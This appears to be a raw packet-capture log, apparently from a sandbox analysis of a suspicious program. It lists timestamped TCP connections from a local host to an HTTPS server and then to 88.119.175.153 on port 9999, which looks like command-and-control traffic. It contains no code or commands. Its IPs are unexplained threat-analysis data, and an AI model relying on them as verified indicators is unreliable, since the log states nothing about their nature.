Oct 12, 2024 16:39:24.817636967 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.817641973 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.817673922 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.817684889 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.817713976 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.817763090 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.904484034 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.904561996 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.904618025 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.904803991 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.904803991 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.904875040 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.904984951 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.905039072 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.905039072 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.905057907 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.905101061 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.905114889 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.905144930 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.905147076 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.905215979 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.905232906 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.905252934 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.905332088 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.905349016 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.905371904 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.905435085 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.905448914 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.905469894 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.905500889 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.905534029 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.031575918 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.031694889 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.031768084 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.031768084 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.031783104 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.031802893 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.031840086 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.031883955 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.031949997 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.031981945 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032175064 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032248974 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.032262087 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032290936 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032325029 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.032347918 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.032424927 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032494068 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.032525063 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032589912 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.032618046 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032687902 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032691956 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.032706022 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032741070 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.032763004 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.032777071 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032845020 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032847881 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.032860994 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032907009 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.032917023 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032932043 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.032987118 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.033011913 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.033035040 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.033113003 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.033123970 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.033137083 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.033190012 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.033198118 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.033212900 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.033267975 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.124345064 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.124461889 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.124571085 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.124629021 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.124684095 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.124728918 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.124761105 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.124761105 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.124761105 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.124830008 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.124872923 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.124880075 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.124938965 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.124958992 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.124983072 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125050068 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125053883 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125067949 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125101089 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125128984 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125129938 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125149965 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125175953 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125200987 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125255108 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125332117 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125502110 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125576973 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125596046 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125658035 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125665903 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125679016 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125709057 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125731945 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125739098 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125751972 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125802040 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125821114 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125885010 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125901937 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125916958 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.125950098 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.125971079 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.252118111 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252202034 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252224922 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.252264977 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252275944 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.252279997 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252325058 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.252347946 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252404928 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.252410889 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252424955 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252475977 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.252494097 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252562046 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.252619028 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252675056 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.252685070 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252696991 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252751112 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.252778053 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252837896 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.252892017 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.252948999 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.253642082 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.253701925 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.253707886 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.253736973 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.253770113 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.253773928 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.253796101 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.253808022 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.253834963 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.253844023 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.253854036 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.253865004 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.253914118 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.253922939 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.253947020 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.253957033 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.253982067 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.253985882 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.254015923 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.254024982 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.254049063 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.254053116 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.254069090 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.254080057 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.254118919 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.254139900 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.345882893 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.345967054 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.346026897 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.346092939 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.346153021 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.346157074 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.346157074 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.346157074 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.346190929 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.346220016 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.346232891 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.346352100 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.346430063 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.346473932 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.346541882 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.346615076 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.346685886 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.346904993 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.346978903 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.346981049 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.346993923 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.347042084 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.347062111 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.347065926 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.347081900 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.347121954 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.347125053 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.347162008 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.347174883 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.347203970 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.347232103 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.347244024 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.347310066 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.347315073 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.347327948 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.347383022 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.347383022 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.347440004 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.347506046 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.347630024 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.347696066 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.440181971 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440236092 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440274954 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440304041 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.440320015 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440360069 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.440474033 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440552950 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440596104 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440664053 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.440665007 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.440665007 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.440681934 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440735102 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440773010 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440788031 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.440828085 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.440843105 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440890074 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440939903 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.440973043 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.440989971 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.441021919 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.441042900 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.441083908 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.441133976 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.441153049 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.441173077 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.441194057 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.441200018 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.441200018 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.441227913 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.441237926 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.441267014 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.441302061 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.441343069 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.441390038 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.441411972 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.441425085 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.441459894 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.441483021 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.441607952 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.441673040 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.441874027 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.441940069 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.444628954 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.444813967 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.531456947 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.531517982 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.531651020 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.531651974 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.531685114 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.531735897 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.532047987 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.532102108 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.532104969 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.532114029 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.532152891 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.532185078 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.532243967 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.532493114 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.532537937 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.532552004 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.532565117 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.532597065 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.532618046 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.532792091 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.532839060 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.532854080 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.532866955 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.532896996 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.532913923 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.533065081 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.533107996 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.533126116 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.533138037 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.533169985 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.533190012 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.533215046 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.533271074 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.533423901 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.533469915 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.533483982 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.533495903 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.533524990 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.533545971 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.533632994 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.533693075 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.533706903 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.533783913 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.624039888 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.624102116 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.624156952 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.624191999 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.624209881 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:25.624211073 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.624263048 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:25.627854109 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:45.577680111 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:45.582725048 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:45.583714008 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:45.601383924 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:45.606426001 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:46.147669077 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:46.147700071 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:46.147763014 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:46.163609982 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:46.168446064 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:46.283103943 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:46.336828947 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:46.596570015 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:46.601397038 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:46.601459980 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:46.606283903 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:55.275371075 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:55.280241966 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:55.280361891 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:55.285291910 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:55.630966902 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:55.680582047 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:55.721436024 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:55.732479095 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:55.737327099 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:39:55.737381935 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:39:55.742199898 CEST	9999	53510	88.119.175.153	192.168.2.5
